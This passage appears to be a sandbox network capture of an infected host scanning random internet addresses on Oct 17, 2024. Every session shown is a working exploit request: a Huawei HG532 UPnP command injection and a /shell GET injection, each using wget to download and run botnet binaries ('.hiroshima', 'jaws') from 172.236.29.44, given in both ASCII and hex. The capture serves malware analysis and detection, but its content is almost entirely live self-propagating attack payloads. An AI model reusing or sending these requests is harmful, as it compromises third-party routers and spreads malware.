52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.14	57476	208.9.61.39	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.593115091 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.14	37182	197.159.26.158	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.593604088 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.14	34964	93.85.10.209	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.598577976 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.14	40402	41.67.208.122	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.599056005 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.14	51492	68.253.207.101	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.626013041 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.14	43480	197.67.55.160	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.657006025 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.14	59144	212.160.200.226	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.688934088 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.14	36972	156.160.243.72	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.689208031 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.14	37294	41.97.224.74	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.695173025 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.14	49226	62.200.140.21	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.753146887 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.14	42004	41.74.170.248	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.753453970 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.14	49968	45.36.46.7	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.757186890 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.14	55764	41.229.139.194	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.757771969 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.14	59196	156.59.108.206	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.784956932 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.14	52874	207.45.81.68	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.817097902 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.14	43052	66.24.173.21	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.819945097 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.14	55200	27.237.227.136	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.849174023 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.14	52918	31.184.127.205	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.913181067 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.14	48128	156.220.37.13	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.913450003 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 